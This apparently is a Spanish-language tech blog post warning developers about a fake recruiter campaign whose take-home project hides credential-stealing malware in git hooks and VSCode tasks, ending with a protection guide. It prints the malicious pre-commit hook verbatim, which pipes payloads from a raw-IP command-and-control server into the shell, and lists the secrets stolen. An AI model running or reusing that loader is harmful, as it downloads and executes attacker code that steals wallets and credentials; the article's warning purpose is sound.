🔥 Polémica
Me enviaron un proyecto de entrevista falso — Era malware que robaba cryptos, contraseñas y hasta tu AWS
Un reclutador apareció en LinkedIn con una oferta que parecía sacada de un sueño: $10,000–$15,000 mensuales por un rol remoto de Python developer en una startup de Y Combinator. El desarrollador, Jason Liu, aceptó la prueba técnica. Y ahí empezó la pesadilla.
Lo que recibió no era un examen de código. Era un proyecto que, al ejecutarse, instalaba malware diseñado para robar billeteras de criptomonedas, contraseñas del navegador, llaves SSH, credenciales de AWS y hasta el portapapeles en tiempo real.
No es un caso aislado. Es una campaña masiva de credential harvesting dirigida específicamente a desarrolladores, aprovechando la desesperación del mercado laboral actual para distribuir malware disfrazado de oportunidad laboral.
📦 El anzuelo: un proyecto de prueba "demasiado bueno"
Todo empezó con un mensaje directo en LinkedIn. El reclutador compartió un rol de Python developer con un presupuesto sospechosamente alto. Liu investigó: la empresa era real, de Y Combinator. No era completamente descabellado.
El reclutador aprobó su currículum en minutos y le envió un archivo ZIP por Google Drive con una prueba técnica y un PDF de instrucciones.
⚠️ Primera bandera roja: Una startup real con $15K/mes para un rol no manda pruebas técnicas por Google Drive sin siquiera una entrevista previa.
🔍 El momento del descubrimiento
Liu extrajo el ZIP y, por costumbre de hacer CTFs, ejecutó tree -a para ver archivos ocultos. Ahí encontró algo que no esperaba: 22 git hooks preconfigurados en el directorio .git/hooks/.
El hook pre-commit contenía esto:
#!/bin/sh case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; esac
El script detectaba el sistema operativo de la víctima y ejecutaba un payload remoto que se descargaba de un servidor C2 en Rusia con una IP cruda —sin siquiera un dominio falso—. Cada víctima recibía un ID único que permitía a los atacantes rastrear infectados y servir payloads personalizados.
🧠 ¿Qué robaba exactamente?
El payload descargaba un script parser.js ofuscado que realizaba lo siguiente:
- 🔑 Contraseñas del navegador — Extraía credenciales guardadas en Chrome, Firefox y Edge
- 💰 Billeteras crypto — Detectaba extensiones de MetaMask, Phantom y otras wallets
- 📋 Portapapeles — Monitoreaba en tiempo real cualquier dirección crypto copiada, reemplazándola por la del atacante
- 🔐 Llaves SSH y GPG — Buscaba
~/.ssh/id_rsay llaves de firma - ☁️ Credenciales AWS — Escaneaba
~/.aws/credentials - 🎮 Tokens de sesión — Cookies de autenticación de servicios cloud
El malware instalaba Node.js silenciosamente, descargaba dependencias como hardhat (entorno Ethereum), clipboardy (acceso al portapapeles) y basic-ftp (exfiltración de archivos), y ejecutaba todo en background usando nohup.
⚔️ No solo git hooks — .vscode tasks también
La investigación reveló que la misma campaña distribuía variantes del ataque. Algunas víctimas recibían proyectos con una carpeta .vscode que contenía tareas de VSCode configuradas para ejecutarse automáticamente al abrir el proyecto en el editor.
Es decir: ni siquiera necesitabas ejecutar código. Con solo abrir el proyecto en VSCode, el malware se activaba.
📊 El problema es masivo
Este no es un ataque artesanal. El servidor C2 usaba IDs de víctima (id=402, id=403, etc.) lo que sugiere cientos o miles de objetivos. Cada payload era único, lo que dificulta la detección por firmas.
El mercado laboral tech en 2026 está en su punto más competitivo. Miles de developers desempleados o en búsqueda activa reciben mensajes de reclutadores en LinkedIn todos los días. Los ciberdelincuentes lo saben y lo están explotando.
🛡️ Cómo protegerte (guía rápida)
1. Nunca ejecutes código de un desconocido. Si un reclutador envía un proyecto, inspecciona los archivos ocultos primero con tree -a o ls -la.
2. Revisa los git hooks. Si el proyecto tiene carpeta .git, revisa .git/hooks/. Los hooks maliciosos suelen tener URLs externas sospechosas.
3. Abre proyectos en un entorno aislado. Usa una máquina virtual o Docker container sin acceso a tus credenciales reales.
4. Verifica al reclutador. Los reclutadores legítimos de YC no envían pruebas técnicas por Google Drive sin al menos una videollamada de screening.
5. Desconfía de ofertas "demasiado buenas". $15K/mes para un rol Python sin entrevista técnica previa no existe en el mercado real.
💬 La opinión de Nox Tech
Esto no es solo una estafa más. Es una evolución preocupante del cybercrime dirigido. Los atacantes ya no mandan correos con "here is your invoice.pdf" — ahora se visten de recruiters de Y Combinator y te envían código legítimo con una puerta trasera escondida en los archivos que todo desarrollador tiene en su máquina.
Lo más irónico es que el servidor C2 ni siquiera usaba un dominio decoroso. Una IP cruda de Rusia. Cero esfuerzo en opsec. Y aun así, ¿cuántos developers habrán caído antes de que alguien como Liu revisara con tree -a?
El ataque más sofisticado no es el que usa zero-days. Es el que explota confianza — y en una industria donde todos andamos buscando la próxima oportunidad, la confianza es el recurso más fácil de explotar.
Comparte esto con un developer que esté buscando trabajo. Puede que le salves la carrera y la billetera.